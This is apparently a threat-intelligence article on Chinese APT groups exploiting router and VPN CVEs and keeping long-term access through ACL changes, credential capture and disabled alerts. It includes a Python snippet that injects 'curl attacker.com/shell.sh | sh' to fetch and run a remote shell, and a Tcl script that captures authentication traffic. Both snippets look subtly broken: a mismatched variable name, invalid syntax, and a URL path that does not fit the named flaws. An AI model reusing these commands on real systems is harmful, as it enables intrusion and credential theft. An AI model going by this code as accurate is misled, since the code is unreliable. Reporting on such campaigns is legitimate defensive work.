Over recent years, Chinese state-backed Advanced Persistent Threat (APT) groups have actively targeted critical flaws in enterprise routers, enabling long-term access to global telecom and government networks.
Groups known by names like Salt Typhoon and OPERATOR PANDA have systematically attacked provider edge (PE) and customer edge (CE) devices from top vendors, leveraging publicly disclosed Common Vulnerabilities and Exposures (CVEs) to gain unauthorized entry.
These operations are highly covert, often combining multiple exploits to move laterally and avoid detection by standard security systems.
Initial Attack Vectors
Commonly, attackers exploit vulnerabilities such as CVE-2024-21887 in Ivanti Connect Secure and CVE-2024-3400 in Palo Alto Networks PAN-OS GlobalProtect. These weaknesses allow remote code execution through crafted HTTP requests, giving attackers control over privileged router management interfaces.
Once inside, threat actors often pivot quickly, using older flaws like CVE-2018-0171 in Cisco IOS smart install or CVE-2023-20198 in IOS XE web management modules. This forms a reliable chain for escalation and persistence.
Cyble researchers observed that publicly available proof-of-concept exploits are rapidly weaponized, often rewritten in Python or Tcl scripts tailored for specific router setups.
Example Snipet for Command Injection:
import requests
url = "https[:]//192.0.2.1/+CSCOE+/translation-table?type=misc&text_scale=1"
payload = {"command"[:] "system ('curl http[:]//attacker.com/shell[.]sh | sh')"}
response = requests[.]post(url, data=payload, verify=False)
print(response[.]status_code, response[.]text)
This method enables remote shell execution, allowing attackers to deploy custom tools to steal configuration files, credentials, and session data.
Persistence Techniques
After gaining access, APT actors embed themselves within router environments to maintain long-term control. They modify Access Control Lists (ACLs) to allow attacker IPs and open non-standard ports like 32768 and 8081 for hidden access.
In many incidents, Cisco’s Embedded Packet Capture (EPC) is misused to capture TACACS+ and RADIUS authentication traffic, harvesting clear-text credentials. Tcl scripts are stored in router flash memory to automate this:
package require json
set cap Cmd [list "ip" "packet" "capture" "point-to-point" "rtl" "1000"]
exec {*}$capCmd > flash:auth_capture[.]pcap
These scripts run at startup via altered configurations, creating persistent PCAP files that are periodically sent through encrypted GRE tunnels. By tampering with AAA (Authentication, Authorization, Accounting) settings, attackers redirect logs and disable alerts, effectively blinding enterprise defenders.
Through these tactics, compromised routers become long-lasting footholds, enabling APT groups to infiltrate enterprise networks stealthily for months or even years.
